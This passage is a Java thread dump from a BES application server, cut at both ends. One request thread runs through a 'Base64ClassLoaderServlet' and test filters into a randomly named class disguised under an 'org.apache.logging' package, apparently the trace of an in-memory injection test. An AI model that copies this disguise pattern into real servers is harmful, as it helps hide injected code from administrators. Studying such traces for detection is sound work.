app//com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:650) + at app//com.bes.enterprise.startup.ASMain.main(ASMain.java:38) + +"Common-Cleaner" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@462d7091 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.19/java.lang.Object.wait(Native Method) + at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.19/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.19/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"Common Lib Watcher" #19 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.19/java.lang.Thread.sleep(Native Method) + at app//com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:92) + +"httpWorkerThread-8080-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"gjc-connection-creator-1" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f77b5a1 + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at com.bes.enterprise.gjc.pool.impl.NoticableLinkedBlockingDeque.awaitAllowCreate(NoticableLinkedBlockingDeque.java:52) + at com.bes.enterprise.gjc.pool.impl.GenericObjectPool$ObjectCreator.run(GenericObjectPool.java:293) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"RMI TCP Accept-6600" #93 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.19/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.19/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:760) + at java.base@17.0.19/java.net.ServerSocket.implAccept(ServerSocket.java:675) + at java.base@17.0.19/java.net.ServerSocket.platformImplAccept(ServerSocket.java:641) + at java.base@17.0.19/java.net.ServerSocket.implAccept(ServerSocket.java:617) + at java.base@17.0.19/java.net.ServerSocket.implAccept(ServerSocket.java:574) + at java.base@17.0.19/java.net.ServerSocket.accept(ServerSocket.java:532) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-1" #72 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.19/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.19/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.apache.logging.UKnKC.ErrorQvlgaHandler.toString(BasicInfoPrinter.java:26) + at java.base@17.0.19/java.lang.String.valueOf(String.java:4220) + at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:27) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:224) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:17) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:22) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193) + at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109) + at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50) + at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41) + at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:550) + at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:133) + at com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve.invoke(BESSecurityListener.java:95) + at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87) + at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74) + at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:388) + at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:473) + at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61) + at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:950) + at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1955) + at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1193) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"jmsra-WorkerThread-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10 + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-8" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"RMI Reaper" #94 [WAITING] on java.lang.ref.ReferenceQueue$Lock@1e9eceee + java.lang.Thread.State: WAITING + at java.base@17.0.19/java.lang.Object.wait(Native Method) + at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.rmi@17.0.19/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"RMI TCP Connection(1)-172.17.0.4" #96 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.19/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.19/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186) + at java.base@17.0.19/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290) + at java.base@17.0.19/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314) + at java.base@17.0.19/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355) + at java.base@17.0.19/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808) + at java.base@17.0.19/java.net.Socket$SocketInputStream.read(Socket.java:966) + at java.base@17.0.19/java.io.BufferedInputStream.fill(BufferedInputStream.java:244) + at java.base@17.0.19/java.io.BufferedInputStream.read(BufferedInputStream.java:263) + at java.base@17.0.19/java.io.FilterInputStream.read(FilterInputStream.java:82) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$585/0x00007405f05ff4b0.run(Unknown Source) + at java.base@17.0.19/java.security.AccessController.executePrivileged(AccessController.java:776) + at java.base@17.0.19/java.security.AccessController.doPrivileged(AccessController.java:399) + at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-6" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-1900-4" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"RMI Scheduler(0)" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@331a8c54 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-1900-3" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"File-watcher-0" #87 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.19/java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.serializer.defence.common.file.watcher.FileAlterationMonitor.run(FileAlterationMonitor.java:105) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"AppServer-utility-1" #67 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2af69321 + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-1900-2" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"jmsra-WorkerThread-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10 + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"jmsra-WorkerThread-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10 + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"RMI RenewClean-[172.17.0.4:6600]" #98 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@1f2fd2b + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.19/java.lang.Object.wait(Native Method) + at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.rmi@17.0.19/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"File-watcher-0" #62 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.19/java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.common.file.watcher.FileAlterationMonitor.run(FileAlterationMonitor.java:105) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"Notification Thread" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2fca3749 + java.lang.Thread.State: WAITING + at java.base@17.0.19/java.lang.Object.wait(Native Method) + at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.19/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"httpWorkerThread-8080-4" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"SelectorReaderThread-1900-1" #81 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.19/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.19/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.19/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.19/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:877) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"HSQLDB Timer @560df6c4" #90 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@474b65e0 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.19/java.lang.Object.wait(Native Method) + at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source) + at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source) + at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source) + at java.base@17.0.19/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-5" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a + java.lang.Thread.State: WAITING + at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method) + at 